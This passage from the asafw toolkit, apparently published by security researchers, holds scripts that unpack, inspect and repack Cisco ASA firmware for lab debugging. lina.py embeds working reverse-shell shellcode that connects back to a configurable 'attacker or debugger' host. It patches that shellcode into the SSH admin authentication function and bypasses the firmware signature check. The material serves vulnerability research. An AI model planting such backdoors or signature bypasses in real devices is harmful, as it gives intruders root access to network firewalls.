301 | 302 | if args.dbname == None: 303 | logmsg("You need to specify a JSON database filename with -d") 304 | sys.exit(1) 305 | 306 | if args.list_mitigations: 307 | list_mitigations(args.dbname, args.bin_name, args.verbose) 308 | sys.exit() 309 | 310 | if args.update_info: 311 | update_db(args.dbname, args.bin_name, args.update_info, args.build_date) 312 | sys.exit() 313 | -------------------------------------------------------------------------------- /info.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # Display/save mitigations and additional info for all firmware in the current folder 8 | # It is responsible for finding info/mitigations but relies on info.py to do the actual 9 | # saving in a JSON database. 10 | 11 | usage() 12 | { 13 | echo Display/save mitigations and additional info for all firmware in the current folder 14 | echo Usage: info.sh [--save-result --db-name \] 15 | exit 16 | } 17 | 18 | SAVE_RESULTS="NO" 19 | DBNAME= 20 | while [ $# -gt 0 ] 21 | do 22 | key="$1" 23 | case $key in 24 | -s|--save-result) 25 | SAVE_RESULTS="YES" 26 | ;; 27 | -d|--db-name) 28 | DBNAME="$2" 29 | shift 30 | ;; 31 | -h|--help) 32 | usage 33 | ;; 34 | *) 35 | # unknown option 36 | echo "[!] Unknown option provided" 37 | usage 38 | ;; 39 | esac 40 | shift 41 | done 42 | 43 | if [[ $SAVE_RESULTS == "YES" && "$DBNAME" == "" ]] 44 | then 45 | echo You must specify a dbname when trying to save results 46 | usage 47 | fi 48 | 49 | get_bin_name() 50 | { 51 | BIN=$(echo $1 | sed -e 's/.\/_\(asa.*.bin\).*/\1/') 52 | if [ "$1" == "${BIN}" ]; then 53 | BIN=$(echo $1 | sed -e 's/.\/_\(asa.*.SPA\).*/\1/') 54 | if [ "$1" == "${BIN}" ]; then 55 | BIN=$(echo $1 | sed -e 's/.\/_\(asav.*.qcow2\).*/\1/') 56 | if [ "$1" == "${BIN}" ]; then 57 | echo "[info.sh] Error: Cound not find asa*.bin or asav*.qcow2 or asa*.SPA. Skipping" 58 | return 1 59 | fi 60 | fi 61 | fi 62 | return 0 63 | } 64 | 65 | # vmlinuz is automatically extracted by binwalk and has a name representing its offset from the .bin (in hex) 66 | # we are going to try other files too but none of them will have a "Linux version" so we should be safe :) 67 | for VMLINUZ in $(find . -mindepth 2 -maxdepth 2 -regex ".*/[0-9A-F]+"); do 68 | get_bin_name ${VMLINUZ} 69 | if [ $? != 0 ]; then 70 | continue 71 | fi 72 | UNAME=$(strings ${VMLINUZ}|grep "Linux version") 73 | if [ -z "$UNAME" ]; then 74 | echo "[!] ${BIN} : No detected uname in ${VMLINUZ}. Skipping" 75 | fi 76 | 77 | if [[ "$SAVE_RESULTS" == "YES" ]] 78 | then 79 | info.py -i "${BIN}" -u "${UNAME}" -d "${DBNAME}" 80 | else 81 | echo -e "${BIN}: ${UNAME}" 82 | fi 83 | done 84 | 85 | for DIR in $(find . -type d -name "rootfs"); do 86 | get_bin_name $DIR 87 | if [ $? != 0 ]; then 88 | continue 89 | fi 90 | if [ ! -e "${DIR}/asa/bin/lina" ]; then 91 | echo "[!] ${BIN} : No lina binary found. Skipping" 92 | continue 93 | fi 94 | 95 | RESULT=$(checksec.sh --file "${DIR}/asa/bin/lina" | grep lina) 96 | # lina stripped? 97 | FILE=$(file "${DIR}/asa/bin/lina") 98 | if [ -z "${FILE##*not stripped*}" ]; then 99 | # STRIPPED="\033[32Stripped" 100 | STRIPPED="Stripped" 101 | else 102 | # STRIPPED="\033[31Not Stripped" 103 | STRIPPED="Not Stripped" 104 | fi 105 | if [ -z "${FILE##*x86-64*}" ]; then 106 | ARCH="64-bit" 107 | else 108 | ARCH="32-bit" 109 | fi 110 | # even a stripped binary can have exported symbols in .dynsym symbol table 111 | # 931200 contains an exported symbol with "lina" but actually does not contain 112 | # any real other exported symbol so we use "ikev1" instead 113 | SYMBOLS=$(readelf -s "${DIR}/asa/bin/lina" | grep ikev1) 114 | SYMBOLSCNT=$(readelf -s "${DIR}/asa/bin/lina" | grep .dynsym) 115 | if [ -z "${SYMBOLS}" ]; then 116 | SYMBOLS="No symbol table" 117 | else 118 | SYMBOLS="Contains symbol table" 119 | fi 120 | # XXX - support dwarf symbols which is another symbol table than .dynsym? 121 | if [[ -e "${DIR}/asa/scripts/rcS.common" ]]; then 122 | VASPACE=$(grep va_space "${DIR}/asa/scripts/rcS.common") 123 | else 124 | # Old init script (e.g. 8.0.3) 125 | VASPACE=$(grep va_space "${DIR}/etc/init.d/rcS") 126 | fi 127 | if [ -z "${VASPACE##*echo 0*}" ]; then 128 | #ASLR="\033[31ASLR Disabled" 129 | ASLR="ASLR Disabled" 130 | else 131 | # ASLR="\033[32ASLR Enabled" 132 | ASLR="ASLR Enabled" 133 | fi 134 | LIBC=$(find ${DIR} -regex ".*libc-.*\.so.*") 135 | if [[ "$LIBC" == "" ]]; then 136 | # Old ASA don't have a libc-.so so we need to looks at strings in libc.so 137 | LIBC="${DIR}/lib/libc.so.6" 138 | LIBC=$(strings $LIBC | grep -i "GNU C Library stable release version") 139 | else 140 | LIBC=$(basename "$LIBC") 141 | fi 142 | 143 | grep "(next == m->top || cinuse(next))" "${DIR}/asa/bin/lina" 144 | if [[ $? -eq 0 ]]; then 145 | HEAP_LINA="dlmalloc 2.8.3" 146 | else 147 | grep "((unsigned long)((char\*)top + top_size)" "${DIR}/asa/bin/lina" 148 | if [[ $? -eq 0 ]]; then 149 | HEAP_LINA="dlmalloc 2.6.x" 150 | fi 151 | fi 152 | 153 | BUILD_DATE=$(strings -w "${DIR}/asa/bin/lina" | grep "PIX (") 154 | 155 | if [[ "$SAVE_RESULTS" == "YES" ]] 156 | then 157 | info.py -i "${BIN}" -u "\"${RESULT} ${STRIPPED} ${ASLR} ${SYMBOLS} ${LIBC} ${ARCH} ${HEAP_LINA}\"" -b "${BUILD_DATE}" -d "${DBNAME}" 158 | else 159 | echo -e "${BIN}: ${RESULT} ${STRIPPED} ${ASLR} ${SYMBOLS} ${SYMBOLSCNT} ${LIBC} ${ARCH} ${HEAP_LINA} ${BUILD_DATE}" 160 | fi 161 | 162 | done 163 | -------------------------------------------------------------------------------- /lina.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # This script carries out two different sets of patches. The first one is always 8 | # installed, the second one is optionally installed if requested to. 9 | # 10 | # The reverse debug shell payloads are based on those provided by Exodus Intelligence 11 | # in their CVE-2016-1287 exploit: 12 | # https://github.com/exodusintel/disclosures/blob/master/CVE_2016_1287_PoC 13 | # but we also provide a 64-bit version :) 14 | # 15 | ## Number 1 16 | # Patch a "lina" binary aaa_admin_authenticate() function to do a Linux connect 17 | # back to us to allow us to analyze anything we want. We name this a "debug shell" 18 | # (such as /proc//maps, etc.) 19 | # Supports both 32-bit and 64-bit lina 20 | # 21 | 22 | import array 23 | import hexdump 24 | import socket 25 | import sys 26 | import struct 27 | import string 28 | import random 29 | import time 30 | import re 31 | import binascii 32 | import pickle, argparse, os, json 33 | import platform 34 | import subprocess 35 | import pprint 36 | from helper import * 37 | 38 | def logmsg(s): 39 | if type(s) == str: 40 | print("[lina] " + s) 41 | else: 42 | print(s) 43 | 44 | # Spawns a Linux root shell (connect back) 45 | # To format in vim visual select hex strings and run : 46 | # '<,'>s/\(\(\\x..\)\{16\}\)/"\1"\r/g 47 | sc_debug_shell_32 = ( 48 | b"\x90\x90\xe8\x77\x77\x77\x77\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0" 49 | b"\x0f\x85\xa1\x01\x00\x00\xba\xed\x01\x00\x00\xb9\xc2\x00\x00\x00" 50 | b"\x68\x2f\x73\x68\x00\x68\x2f\x74\x6d\x70\x8d\x1c\x24\xb8\x05\x00" 51 | b"\x00\x00\xcd\x80\x50\xeb\x31\x59\x8b\x11\x8d\x49\x04\x89\xc3\xb8" 52 | b"\x04\x00\x00\x00\xcd\x80\x5b\xb8\x06\x00\x00\x00\xcd\x80\x8d\x1c" 53 | b"\x24\x31\xd2\x52\x53\x8d\x0c\x24\xb8\x0b\x00\x00\x00\xcd\x80\x31" 54 | b"\xdb\xb8\x01\x00\x00\x00\xcd\x80\xe8\xca\xff\xff\xff\x46\x01\x00" 55 | b"\x00\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00" 56 | b"\x00\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00" 57 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00" 58 | b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04" 59 | b"\x08\x00\x80\x04\x08\xf2\x00\x00\x00\xf2\x00\x00\x00\x07\x00\x00" 60 | b"\x00\x00\x10\x00\x00\x55\x89\xe5\x83\xec\x10\x6a\x00\x6a\x01\x6a" 61 | b"\x02\x8d\x0c\x24\xbb\x01\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80" 62 | b"\x83\xc4\x0c\x89\x45\xfc\x68\x7f\x00\x00\x01\x68\x02\x00\x04\x38" 63 | b"\x8d\x14\x24\x6a\x10\x52\x50\x8d\x0c\x24\xbb\x03\x00\x00\x00\xb8" 64 | b"\x66\x00\x00\x00\xcd\x80\x83\xc4\x14\x85\xc0\x7d\x18\x6a\x00\x6a" 65 | b"\x01\x8d\x1c\x24\x31\xc9\xb8\xa2\x00\x00\x00\xcd\x80\x83\xc4\x08" 66 | b"\xeb\xc4\x8b\x45\xfc\x83\xec\x20\x8d\x0c\x24\xba\x03\x00\x00\x00" 67 | b"\x8b\x5d\xfc\xc7\x01\x05\x01\x00\x00\xb8\x04\x00\x00\x00\xcd\x80" 68 | b"\xba\x04\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\xc7\x01\x05\x01" 69 | b"\x00\x01\xc7\x41\x04\xaa\xbb\xcc\xdd\x66\xc7\x41\x08\x88\x88\xba" 70 | b"\x0a\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x20\x00\x00\x00" 71 | b"\xb8\x03\x00\x00\x00\xcd\x80\x83\xc4\x20\x8b\x5d\xfc\xb9\x02\x00" 72 | b"\x00\x00\xb8\x3f\x00\x00\x00\xcd\x80\x49\x7d\xf6\x31\xd2\x68\x2d" 73 | b"\x69\x00\x00\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89" 74 | b"\xe3\x52\x57\x53\x8d\x0c\x24\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb" 75 | b"\xb8\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xc3") 76 | 77 | sc_debug_shell_64 = ( 78 | b"\x55\x53\x41\x54\x41\x55\x41\x56\x41\x57\x90\x90\x90\x90\x90\x90" 79 | b"\x90\xe8\x77\x77\x77\x77\x48\xc7\xc0\x39\x00\x00\x00\x0f\x05\x48" 80 | b"\x85\xc0\x0f\x85\xc2\x01\x00\x00\x48\xc7\xc2\xed\x01\x00\x00\x48" 81 | b"\xc7\xc6\xc2\x00\x00\x00\x48\x83\xec\x08\x48\x8d\x3c\x24\xc7\x07" 82 | b"\x2f\x74\x6d\x70\xc7\x47\x04\x2f\x73\x68\x00\x48\xc7\xc0\x02\x00" 83 | b"\x00\x00\x0f\x05\x50\xeb\x40\x59\x48\x8b\x11\x48\x8d\x71\x08\x48" 84 | b"\x89\xc7\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x5f\x48\xc7\xc0\x03" 85 | b"\x00\x00\x00\x0f\x05\x48\x8d\x3c\x24\x48\x31\xd2\x52\x57\x48\x8d" 86 | b"\x34\x24\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7" 87 | b"\xc0\x3c\x00\x00\x00\x0f\x05\xe8\xbb\xff\xff\xff\x46\x01\x00\x00" 88 | b"\x00\x00\x00\x00\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00" 89 | b"\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08" 90 | b"\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00" 91 | b"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" 92 | b"\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00\x00\xf2\x00\x00\x00" 93 | b"\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5\x83\xec\x10\x6a\x00" 94 | b"\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00\x00\xb8\x66\x00\x00" 95 | b"\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f\x00\x00\x01\x68\x02" 96 | b"\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d\x0c\x24\xbb\x03\x00" 97 | b"\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x14\x85\xc0\x7d\x18" 98 | b"\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2\x00\x00\x00\xcd\x80" 99 | b"\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20\x8d\x0c\x24\xba\x03" 100 | b"\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00\x00\xb8\x04\x00\x00" 101 | b"\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\xc7" 102 | b"\x01\x05\x01\x00\x01\xc7\x41\x04\xaa\xbb\xcc\xdd\x66\xc7\x41\x08" 103 | b"\x88\x88\xba\x0a\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x20" 104 | b"\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83\xc4\x20\x8b\x5d\xfc" 105 | b"\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd\x80\x49\x7d\xf6\x31" 106 | b"\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62" 107 | b"\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8\x0b\x00\x00\x00\xcd" 108 | b"\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x41\x5f\x41\x5e\x41\x5d" 109 | b"\x41\x5c\x5b\x5d\x48\xc7\xc0\x01\x00\x00\x00\xc3") 110 | 111 | # Builds a Linux reverse shell payload based on some parameters 112 | # like information for a target and a host/port to connect to 113 | class LinuxReverseShell(object): 114 | def __init__(self, c, scratch_off): 115 | self._revHost = c["revHost"] 116 | self._revPort = c["revPort"] 117 | self._target = c["target"] 118 | self._missingSymbols = [] 119 | self._shellcode = None 120 | self._scratch_off = scratch_off 121 | 122 | def replaceSymbol(self, pattern, symbolname, mask=0xffffffffffffffff): 123 | if len(pattern) == 4: 124 | fmt = "H", self._revPort)) 172 | if len(self._missingSymbols) == 0: 173 | return True 174 | else: 175 | return False 176 | 177 | # Inject a debug shell into "lina" by patching the aaa_admin_authenticate() 178 | # function. It allows triggering it when connecting over SSH 179 | def inject_debug_shell(config, indata, scratch_off): 180 | logmsg("Installing debug shell at 0x%x" % scratch_off) 181 | c = config 182 | rev = LinuxReverseShell(c, scratch_off) 183 | if rev.buildShellcode() != True: 184 | logmsg("Target not completely supported yet. Missing symbols:") 185 | logmsg(rev._missingSymbols) 186 | sys.exit(1) 187 | 188 | # on asa924-k8.bin, aaa_admin_authenticate is 2593 bytes so we have plenty 189 | # of room 190 | patched_func_len = len(rev._shellcode) 191 | if patched_func_len > 1000: 192 | logmsg("Error: Looks like shellcode is quite big, something wrong?") 193 | sys.exit(1) 194 | 195 | lina_data = indata[:scratch_off] + rev._shellcode \ 196 | + indata[scratch_off+patched_func_len:] 197 | logmsg("Patched lina offset: 0x%x with len = %d bytes (DEBUG SHELL)" % 198 | (scratch_off, patched_func_len)) 199 | 200 | return (lina_data, scratch_off+patched_func_len) 201 | 202 | # Patch jump for lina's signature check in lina_monitor 203 | # e.g. asav962-7 204 | # .text:000000000000395B E8 30 1D 00+ call code_sign_verify_signature_image 205 | # .text:0000000000003960 85 C0 test eax, eax 206 | # .text:0000000000003962 89 C3 mov ebx, eax 207 | # .text:0000000000003964 74 50 jz short loc_39B6 208 | # Patch is to replace: 209 | # jz short loc_39B6 == "74 50" == je 0x52 210 | # by: 211 | # jmp 0x52 == "eb 50" 212 | # e.g. asav9101 213 | # .text:00000000000031C4 E8 F7 2C 00+ call code_sign_verify_signature_image 214 | # .text:00000000000031C9 85 C0 test eax, eax 215 | # .text:00000000000031CB 89 C3 mov ebx, eax 216 | # .text:00000000000031CD 0F 85 33 0B+ jnz loc_3D06 217 | # Patch is to replace: 218 | # jnz loc_3D06 ("0F 85 33 0B+ " seems strange!!!) 219 | # by 220 | # jz loc_3D06 ("0F 84 33 0B+ " seems strange!!!) 221 | # Note: can't replace jnz by jmp in this case, for the branch loc_3D06 is the "error" branch 222 | def patch_lina_signature_check(config, indata, scratch_off): 223 | logmsg("Patching lina signature check at 0x%x" % scratch_off) 224 | c = config 225 | if indata[scratch_off:scratch_off+1] == b"\x74": 226 | outdata = indata[:scratch_off] + b"\xeb" \ 227 | + indata[scratch_off+1:] 228 | elif indata[scratch_off:scratch_off+2] == b"\x0f\x85": 229 | outdata = indata[:scratch_off+1] + b"\x84" \ 230 | + indata[scratch_off+2:] 231 | else: 232 | logmsg("Error: Opcode not supported. We only support jz for now: Found: 0x%x" % ord(indata[scratch_off:scratch_off+1])) 233 | sys.exit(1) 234 | logmsg("Patched lina_monitor offset: 0x%x with len = 1 bytes (SIGN CHECK)" % 235 | (scratch_off)) 236 | 237 | return outdata 238 | 239 | def main(): 240 | parser = argparse.ArgumentParser() 241 | parser.add_argument('-c', dest='cbhost', default='192.168.210.78', \ 242 | help="Attacker or debugger IP addr for reverse shell") 243 | parser.add_argument('-p', dest='cbport', type=int, default=4444, \ 244 | help="Attacker or debugger port for reverse shell") 245 | parser.add_argument('-i', dest='target_index', default=None, \ 246 | help="Index of the target (use info.py -l to list them all)") 247 | parser.add_argument('-f', dest='lina_file', default=None, \ 248 | help="Input lina file") 249 | parser.add_argument('-F', dest='lina_monitor_file', default=None, \ 250 | help="Input lina_monitor file (only in ASAv 64-bit)") 251 | parser.add_argument('-b', dest='bin_name', default=None, \ 252 | help="Input bin name") 253 | parser.add_argument('-o', dest='lina_file_out', default=None, \ 254 | help="Output lina file") 255 | parser.add_argument('--libc-input', dest='libc_input', default=None, \ 256 | help="Input libc file") 257 | parser.add_argument('--libc-output', dest='libc_output', default=None, \ 258 | help="Output libc file") 259 | parser.add_argument('-O', dest='lina_monitor_file_out', default=None, \ 260 | help="Output lina_monitor file (only in ASAv 64-bit)") 261 | parser.add_argument('-v', dest='verbose', default=False, 262 | action="store_true", help="Display more info") 263 | parser.add_argument('-d', dest='target_file', default=None, 264 | help='JSON db name') 265 | args = parser.parse_args() 266 | 267 | if args.target_file == None: 268 | logmsg("You need to specify a JSON database filename with -d") 269 | sys.exit(1) 270 | if args.lina_file == None: 271 | logmsg("You need to specify an input lina file with -f") 272 | sys.exit(1) 273 | if args.lina_file_out == None: 274 | logmsg("You need to specify an output lina file with -o") 275 | sys.exit(1) 276 | 277 | # setup config 278 | c = {} 279 | c["revPort"] = int(args.cbport) # This is for debug shell only 280 | c["revHost"] = args.cbhost 281 | c["target_file"] = args.target_file 282 | c["lina_in"] = args.lina_file 283 | c["lina_out"] = args.lina_file_out 284 | 285 | targets = load_targets(c["target_file"]) 286 | target_index = args.target_index 287 | if target_index == None: 288 | if args.bin_name != None: 289 | bin_name = args.bin_name 290 | else: 291 | logmsg("WARN: No index or firmware name specified. Will guess based on lina path...") 292 | bin_name = build_bin_name(args.lina_file) 293 | if not bin_name: 294 | logmsg("[x] Failed to guess target") 295 | sys.exit(1) 296 | target_index = get_target_index(targets, bin_name) 297 | if target_index == None: 298 | logmsg("[x] Failed to get target index matching bin name") 299 | sys.exit(1) 300 | index = int(target_index) 301 | logmsg("Using index: %d for %s" % (index, bin_name)) 302 | if index >= len(targets): 303 | logmsg("Error: Bad target index") 304 | sys.exit(1) 305 | c["target"] = targets[index] 306 | 307 | # let's patch lina_monitor (supported/required for ASAv only afaict) 308 | if c["target"]["fw"].startswith("asav"): 309 | if args.lina_monitor_file == None: 310 | logmsg("You need to specify an input lina_monitor file with -F") 311 | sys.exit(1) 312 | if args.lina_monitor_file_out == None: 313 | logmsg("You need to specify an output lina_monitor file with -O") 314 | sys.exit(1) 315 | 316 | logmsg("Input lina_monitor file: %s" % args.lina_monitor_file) 317 | lm_data = open(args.lina_monitor_file, 'rb').read() 318 | logmsg("Size of unpatched lina_monitor: %d bytes" % len(lm_data)) 319 | 320 | # relative offset in memory is actual offset in ELF 321 | try: 322 | sign_check_jz_offset = c["target"]["lm_addresses"]["jz_after_code_sign_verify_signature_image"] 323 | except KeyError: 324 | logmsg("Error: can't find jz_after_code_sign_verify_signature_image, you need to add symbol with asadbg_rename.py/asadbg_hunt.py first") 325 | sys.exit(1) 326 | 327 | lm_data = patch_lina_signature_check(c, lm_data, sign_check_jz_offset) 328 | 329 | open(args.lina_monitor_file_out, 'wb').write(lm_data) 330 | logmsg("Output lina_monitor file: %s" % args.lina_monitor_file_out) 331 | 332 | # let's patch lina (and glibc for ASAv) 333 | 334 | # we need a valid imagebase so the offset in the ELF is right 335 | if c["target"]["lina_imagebase"] == 0: 336 | logmsg("Error: Looks like aaa_admin_authenticate will be wrong") 337 | sys.exit(1) 338 | # relative offset in memory is actual offset in ELF 339 | try: 340 | aaa_admin_auth_offset = c["target"]["addresses"]["aaa_admin_authenticate"] 341 | except KeyError: 342 | logmsg("Error: can't find aaa_admin_authenticate, you need to add symbol with asafw first") 343 | sys.exit(1) 344 | scratch_off = aaa_admin_auth_offset 345 | 346 | logmsg("Input lina file: %s" % args.lina_file) 347 | lina_data = open(args.lina_file, 'rb').read() 348 | logmsg("Size of unpatched lina: %d bytes" % len(lina_data)) 349 | 350 | lina_data, scratch_off = inject_debug_shell(c, lina_data, scratch_off) 351 | 352 | open(args.lina_file_out, 'wb').write(lina_data) 353 | logmsg("Output lina file: %s" % args.lina_file_out) 354 | 355 | if __name__ == '__main__': 356 | main() 357 | -------------------------------------------------------------------------------- /linabins.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # This script is used to copy lina executables from already extracted firmware 8 | # and though is complementary to unpack_repack_bin.sh to save all lina 9 | # binaries in a given output folder to be processed by idahunt. 10 | # 11 | # Note: This copy is optional and idahunt can be run on the extracted firmware 12 | # directly but it can be used to save space if we are only interested in 13 | # analyzing lina. 14 | 15 | usage() 16 | { 17 | echo "Assume all firmware are already extracted in the current directory and save the lina and lina_monitor binaries somewhere else" 18 | echo Usage: linabins.sh \ 19 | exit 20 | } 21 | 22 | if [[ $1 == "-h" ]] 23 | then 24 | usage 25 | exit 26 | fi 27 | 28 | LINABINDIR=$1 29 | if [[ -z $LINABINDIR ]] 30 | then 31 | echo You need to provide a folder for lina binaries 32 | exit 1 33 | fi 34 | mkdir $LINABINDIR 35 | if [ $? != 0 ]; 36 | then 37 | echo You need to provide a valid output folder for lina binaries 38 | exit 1 39 | fi 40 | 41 | # current folder must contain folder with such names: 42 | # _asa803-k8.bin.extracted _asa844-9-k8.bin.extracted _asa917-9-k8.bin.extracted 43 | # _asav932-200.qcow2.extracted _asav933-10.qcow2.extracted _asav981-5.qcow2.extracted 44 | for EXTRACTEDFW in $(find * -maxdepth 0 -type d); 45 | do 46 | FWFILE=$(echo $EXTRACTEDFW | cut -d'_' -f 2 | cut -d'.' -f 1) 47 | EXTENSION=$(echo $EXTRACTEDFW | cut -d'_' -f 2 | cut -d'.' -f 2) 48 | FWFILE=$FWFILE.$EXTENSION 49 | #echo $OUTDIR 50 | LINA=$EXTRACTEDFW/rootfs/asa/bin/lina 51 | LINA_MONITOR=$EXTRACTEDFW/rootfs/asa/bin/lina_monitor 52 | echo $LINA 53 | echo $LINA_MONITOR 54 | mkdir ${LINABINDIR}/${FWFILE} 55 | cp ${LINA} ${LINABINDIR}/${FWFILE}/ 56 | cp ${LINA_MONITOR} ${LINABINDIR}/${FWFILE}/ 57 | done -------------------------------------------------------------------------------- /unpack_repack_bin.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # This script is used to unpack all Cisco ASA routers .bin firmwares, 8 | # modify some files in order to start gdb after booting the OS. 9 | # It can be used for anything related to modifying files in the filesystem. 10 | # 11 | # This is useful when debugging ASAv firmware in GNS3. Indeed, some firmware do 12 | # not have GDB so we need to add it. Also, we can enable/disable that GDB starts 13 | # at boot and wait for us to attach to the GDB server by commenting/uncommenting 14 | # the appropriate line. Finally, it can be used for any custom modification we want 15 | # to do (for testing purpose) 16 | # 17 | # This script can also be used to extract files from Cisco ASA routers .bin firmwares. 18 | # It supports asa8**-k8.bin, asa9**-k8.bin firmware in both 32-bit and 64-bit. 19 | # It does the following: 20 | # - extract each .bin firmware into a directory with the same name (.extracted) in the same directory 21 | # - tries to extract lina executable if -l is specified 22 | # 23 | # TODO: 24 | # - remove temporary files? or order them 25 | # - It does not support asa7**-k8.bin firmware yet because they don't contain 26 | # a rootfs as other versions. 27 | # - have a safe way to delete temporary files by specifying option from the command line 28 | # (commented for now - use at your own risks) 29 | # 30 | # Dependencies 31 | # - binwalk > 2.0 32 | # sudo apt-get install binwalk 33 | # eg: from the source: https://github.com/devttys0/binwalk 34 | # - 7z 35 | # sudo apt-get install p7zip-full 36 | 37 | SCRIPTNAME="unpack_repack_bin" 38 | 39 | # FUNCTIONS 40 | 41 | log() 42 | { 43 | echo -n "[${SCRIPTNAME}] " 44 | echo "$@" 45 | } 46 | 47 | dbglog() 48 | { 49 | if [ ! -z ${DEBUG} ]; then 50 | log DEBUG: $@ 51 | fi 52 | } 53 | 54 | usage() 55 | { 56 | echo "Usage:" 57 | echo "./unpack_repack_bin.sh -i -o [-f -g -G -a -A -m -b -r -u -l -d -e -k]" 58 | echo " -h, --help This help menu" 59 | echo " -i, --input What firmware bin to operate on. This option is always required" 60 | echo " -o, --output Where to write new firmware" 61 | echo " -f, --free-space Remove space from .bin to ensure injections fit" 62 | echo " -g, --enable-gdb Set gdb to start on boot" 63 | echo " -G, --disable-gdb Stop gdb from starting on boot" 64 | echo " -a, --enable-aslr Turn on ASLR" 65 | echo " -A, --disable-aslr Turn off ASLR" 66 | echo " -m, --inject-gdb Inject gdbserver for firmware lacking this file" 67 | echo " -b, --debug-shell Inject ssh-triggered debug shell" 68 | echo " -B, --serial-shell Configure a serial shell on ASA 2nd serial port" 69 | echo " -H, --lina-hook Inject hooks for monitor lina heap (requires -b)" 70 | echo " -r, --root Root the bin to get a rootshell on boot" 71 | echo " -c, --custom Custom functionality you can add yourself" 72 | # XXX - Unused. Likely delete 73 | # echo " -q, --gns3-fixup Gns?" 74 | echo " -u, --unpack-only Unpack the firmware and nothing else" 75 | echo " -l, --linabins Destination folder to save lina binaries" 76 | echo " -d, --delete-extracted Delete files extracted during modification" 77 | echo " -e, --delete-original-bin Delete the original firmware being modified" 78 | echo " -k, --keep-rootfs Keep the extracted rootfs on disk" 79 | echo " -s, --simple-name Use a simple name for the output .bin with just appended '-repacked'" 80 | echo " -R, --repack-only Repack an existing unpacked dir. Requires --original-firmware" 81 | echo " --replace-linamonitor Use a simple name for the output .bin with just appended '-repacked'" 82 | echo " --original-firmware Name of original firmware file. for use with --repack-only" 83 | echo " --bin-with-asa-to-inject Additional firmware bin file to take /asa folder from and inject into the one specified with -i" 84 | echo " -v, --verbose Display debug messages" 85 | echo "Examples:" 86 | echo " # Unpack and repack a firmware file, freeing space, enabling gdb, and injecting gdbserver bin. Output modifications to firmware_repacked dir" 87 | echo " ./unpack_repack_bin.sh -i /home/user/firmware -o /home/user/firmware_repacked --free-space --enable-gdb --inject-gdb" 88 | echo " # Unpack and repack a firmware file, freeing space, enabling gdb, and injecting gdbserver bin" 89 | echo " ./unpack_repack_bin.sh -i /home/user/firmware/asa961-smp-k8.bin -f -g -m" 90 | echo " # Unpack a firmware file and copy the lina and lina_monitor file in to linabins dir" 91 | echo " ./unpack_repack_bin.sh -u -i /home/user/firmware -l /home/user/linabins" 92 | echo " # Unpack a firmware file and keep the rootfs on disk for analysis" 93 | echo " ./unpack_repack_bin.sh -u -i /home/user/firmware/asa924-k8.bin -k" 94 | echo " # Repack an already unpacked firmware dir, freeing space and patching lina_monitor to bypass checksum validation" 95 | echo " ./unpack_repack_bin.sh --repack-only -i _asa924-smp-k8.bin.extracted --output-bin asa924-smp-k8-repacked.bin --original-firmware /home/user/firmware/asa924-smp-k8.bin --free-space --replace-linamonitor /home/user/firmware/lina_monitor_patched" 96 | echo " # Unpack and repack a firmware file, freeing space, enabling gdb, debug shell and linahook" 97 | echo " ./unpack_repack_bin.sh -i asa924-smp-k8.bin -f -g -b -H hat" 98 | exit 1 99 | } 100 | 101 | # determine_rootfs_name() 102 | # 103 | # Arguments: 104 | # None 105 | # 106 | # Description: 107 | # versions < 8.2.3 don't have the rootfs in rootfs.img but in a filename 108 | # containing digits only ASAv961 has a a .gz additional extension in rootfs 109 | # image name 110 | ## 111 | determine_rootfs_name() 112 | { 113 | 